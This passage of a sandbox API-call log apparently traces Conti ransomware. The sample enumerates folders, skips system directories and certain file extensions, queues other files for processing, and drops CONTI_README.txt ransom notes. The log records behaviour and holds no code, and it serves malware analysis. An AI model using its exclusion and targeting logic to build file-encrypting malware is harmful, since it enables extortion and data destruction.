	[0093.488] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.488] FindNextFileW (in: hFindFile=0x175e6b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b8f34af, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b8f34af, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b91998b, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.488] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.488] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.488] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.488] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.488] FindNextFileW (in: hFindFile=0x175e6b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.488] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.488] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.488] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.488] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.488] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.488] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.488] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.488] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.488] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.488] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.488] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042") returned 26
	[0093.488] lstrlenW (lpString="eula.rtf") returned 8
	[0093.488] GetProcessHeap () returned 0x1720000
	[0093.488] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d5a8
	[0093.488] lstrcpyW (in: lpString1=0x173d5a8, lpString2="C:\\588bce7c90097ed212\\1042" | out: lpString1="C:\\588bce7c90097ed212\\1042") returned="C:\\588bce7c90097ed212\\1042"
	[0093.488] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1042", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\"
	[0093.488] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1042\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned="C:\\588bce7c90097ed212\\1042\\eula.rtf"
	[0093.489] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c47c0) returned 1
	[0093.489] FindNextFileW (in: hFindFile=0x175e6b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.489] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.489] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.489] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.489] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.489] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.489] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.489] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.489] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.489] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.489] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.489] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042") returned 26
	[0093.489] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.489] GetProcessHeap () returned 0x1720000
	[0093.489] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0648
	[0093.489] lstrcpyW (in: lpString1=0x17c0648, lpString2="C:\\588bce7c90097ed212\\1042" | out: lpString1="C:\\588bce7c90097ed212\\1042") returned="C:\\588bce7c90097ed212\\1042"
	[0093.489] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1042", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\"
	[0093.489] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1042\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml"
	[0093.489] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d5658) returned 1
	[0093.489] FindNextFileW (in: hFindFile=0x175e6b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.489] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.489] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.489] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.489] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.489] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.489] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.489] FindNextFileW (in: hFindFile=0x175e6b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.489] GetProcessHeap () returned 0x1720000
	[0093.489] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17346c0 | out: hHeap=0x1720000) returned 1
	[0093.490] FindClose (in: hFindFile=0x175e6b0 | out: hFindFile=0x175e6b0) returned 1
	[0093.490] GetProcessHeap () returned 0x1720000
	[0093.490] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e330 | out: hHeap=0x1720000) returned 1
	[0093.490] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="1043", cAlternateFileName="")) returned 1
	[0093.490] lstrcmpiW (lpString1="1043", lpString2=".") returned 1
	[0093.490] lstrcmpiW (lpString1="1043", lpString2="..") returned 1
	[0093.490] lstrcmpiW (lpString1="1043", lpString2="tmp") returned -1
	[0093.490] lstrcmpiW (lpString1="1043", lpString2="winnt") returned -1
	[0093.490] lstrcmpiW (lpString1="1043", lpString2="Application Data") returned -1
	[0093.490] lstrcmpiW (lpString1="1043", lpString2="AppData") returned -1
	[0093.490] lstrcmpiW (lpString1="1043", lpString2="temp") returned -1
	[0093.490] lstrcmpiW (lpString1="1043", lpString2="thumb") returned -1
	[0093.490] lstrcmpiW (lpString1="1043", lpString2="$Recycle.Bin") returned 1
	[0093.490] lstrcmpiW (lpString1="1043", lpString2="$RECYCLE.BIN") returned 1
	[0093.490] lstrcmpiW (lpString1="1043", lpString2="System Volume Information") returned -1
	[0093.490] lstrcmpiW (lpString1="1043", lpString2="Program Files") returned -1
	[0093.490] lstrcmpiW (lpString1="1043", lpString2="Program Files (x86)") returned -1
	[0093.490] lstrcmpiW (lpString1="1043", lpString2="Boot") returned -1
	[0093.490] lstrcmpiW (lpString1="1043", lpString2="Windows") returned -1
	[0093.490] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.490] lstrlenW (lpString="1043") returned 4
	[0093.490] GetProcessHeap () returned 0x1720000
	[0093.490] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e330
	[0093.490] lstrcpyW (in: lpString1=0x175e330, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.490] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.490] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1043" | out: lpString1="C:\\588bce7c90097ed212\\1043") returned="C:\\588bce7c90097ed212\\1043"
	[0093.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043") returned 26
	[0093.490] GetProcessHeap () returned 0x1720000
	[0093.490] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734870
	[0093.490] lstrcpyW (in: lpString1=0x1734870, lpString2="C:\\588bce7c90097ed212\\1043" | out: lpString1="C:\\588bce7c90097ed212\\1043") returned="C:\\588bce7c90097ed212\\1043"
	[0093.490] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1043", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\1043\\*") returned="C:\\588bce7c90097ed212\\1043\\*"
	[0093.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043") returned 26
	[0093.490] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.490] GetProcessHeap () returned 0x1720000
	[0093.490] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17c2a78
	[0093.491] lstrcpyW (in: lpString1=0x17c2a78, lpString2="C:\\588bce7c90097ed212\\1043" | out: lpString1="C:\\588bce7c90097ed212\\1043") returned="C:\\588bce7c90097ed212\\1043"
	[0093.491] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1043", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\"
	[0093.491] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1043\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\1043\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\1043\\CONTI_README.txt"
	[0093.491] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\1043\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0093.499] GetProcessHeap () returned 0x1720000
	[0093.499] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c2a78 | out: hHeap=0x1720000) returned 1
	[0093.499] WriteFile (in: hFile=0x334, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.500] CloseHandle (hObject=0x334) returned 1
	[0093.501] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b91998b, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e3b0
	[0093.501] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.501] FindNextFileW (in: hFindFile=0x175e3b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b91998b, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.501] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.501] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.501] FindNextFileW (in: hFindFile=0x175e3b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b91998b, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b91998b, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b91998b, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.501] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.501] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.501] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.501] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.501] FindNextFileW (in: hFindFile=0x175e3b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.501] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.501] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.501] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.501] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.501] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.501] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.501] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.501] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.501] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.501] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043") returned 26
	[0093.501] lstrlenW (lpString="eula.rtf") returned 8
	[0093.501] GetProcessHeap () returned 0x1720000
	[0093.501] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d5f8
	[0093.501] lstrcpyW (in: lpString1=0x173d5f8, lpString2="C:\\588bce7c90097ed212\\1043" | out: lpString1="C:\\588bce7c90097ed212\\1043") returned="C:\\588bce7c90097ed212\\1043"
	[0093.501] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1043", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\"
	[0093.501] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1043\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned="C:\\588bce7c90097ed212\\1043\\eula.rtf"
	[0093.502] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d2d48) returned 1
	[0093.502] FindNextFileW (in: hFindFile=0x175e3b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.502] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.502] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.502] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.502] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.502] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.502] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.502] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.502] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.502] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.502] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.502] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043") returned 26
	[0093.502] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.502] GetProcessHeap () returned 0x1720000
	[0093.502] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0c60
	[0093.502] lstrcpyW (in: lpString1=0x17c0c60, lpString2="C:\\588bce7c90097ed212\\1043" | out: lpString1="C:\\588bce7c90097ed212\\1043") returned="C:\\588bce7c90097ed212\\1043"
	[0093.502] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1043", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\"
	[0093.502] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1043\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml"
	[0093.502] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d5ae8) returned 1
	[0093.502] FindNextFileW (in: hFindFile=0x175e3b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.502] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.502] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.502] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.502] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.502] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.502] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.502] FindNextFileW (in: hFindFile=0x175e3b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.502] GetProcessHeap () returned 0x1720000
	[0093.502] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734870 | out: hHeap=0x1720000) returned 1
	[0093.502] FindClose (in: hFindFile=0x175e3b0 | out: hFindFile=0x175e3b0) returned 1
	[0093.503] GetProcessHeap () returned 0x1720000
	[0093.503] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e330 | out: hHeap=0x1720000) returned 1
	[0093.503] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="1044", cAlternateFileName="")) returned 1
	[0093.503] lstrcmpiW (lpString1="1044", lpString2=".") returned 1
	[0093.503] lstrcmpiW (lpString1="1044", lpString2="..") returned 1
	[0093.503] lstrcmpiW (lpString1="1044", lpString2="tmp") returned -1
	[0093.503] lstrcmpiW (lpString1="1044", lpString2="winnt") returned -1
	[0093.504] lstrcmpiW (lpString1="1044", lpString2="Application Data") returned -1
	[0093.504] lstrcmpiW (lpString1="1044", lpString2="AppData") returned -1
	[0093.504] lstrcmpiW (lpString1="1044", lpString2="temp") returned -1
	[0093.504] lstrcmpiW (lpString1="1044", lpString2="thumb") returned -1
	[0093.504] lstrcmpiW (lpString1="1044", lpString2="$Recycle.Bin") returned 1
	[0093.504] lstrcmpiW (lpString1="1044", lpString2="$RECYCLE.BIN") returned 1
	[0093.504] lstrcmpiW (lpString1="1044", lpString2="System Volume Information") returned -1
	[0093.504] lstrcmpiW (lpString1="1044", lpString2="Program Files") returned -1
	[0093.504] lstrcmpiW (lpString1="1044", lpString2="Program Files (x86)") returned -1
	[0093.504] lstrcmpiW (lpString1="1044", lpString2="Boot") returned -1
	[0093.504] lstrcmpiW (lpString1="1044", lpString2="Windows") returned -1
	[0093.504] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.504] lstrlenW (lpString="1044") returned 4
	[0093.504] GetProcessHeap () returned 0x1720000
	[0093.504] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e330
	[0093.504] lstrcpyW (in: lpString1=0x175e330, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.504] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.504] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1044" | out: lpString1="C:\\588bce7c90097ed212\\1044") returned="C:\\588bce7c90097ed212\\1044"
	[0093.504] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044") returned 26
	[0093.504] GetProcessHeap () returned 0x1720000
	[0093.504] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734558
	[0093.504] lstrcpyW (in: lpString1=0x1734558, lpString2="C:\\588bce7c90097ed212\\1044" | out: lpString1="C:\\588bce7c90097ed212\\1044") returned="C:\\588bce7c90097ed212\\1044"
	[0093.504] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1044", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\1044\\*") returned="C:\\588bce7c90097ed212\\1044\\*"
	[0093.504] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044") returned 26
	[0093.504] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.504] GetProcessHeap () returned 0x1720000
	[0093.504] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17c2a78
	[0093.504] lstrcpyW (in: lpString1=0x17c2a78, lpString2="C:\\588bce7c90097ed212\\1044" | out: lpString1="C:\\588bce7c90097ed212\\1044") returned="C:\\588bce7c90097ed212\\1044"
	[0093.504] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1044", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\"
	[0093.504] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1044\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\1044\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\1044\\CONTI_README.txt"
	[0093.504] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\1044\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0093.514] GetProcessHeap () returned 0x1720000
	[0093.514] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c2a78 | out: hHeap=0x1720000) returned 1
	[0093.514] WriteFile (in: hFile=0x334, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.515] CloseHandle (hObject=0x334) returned 1
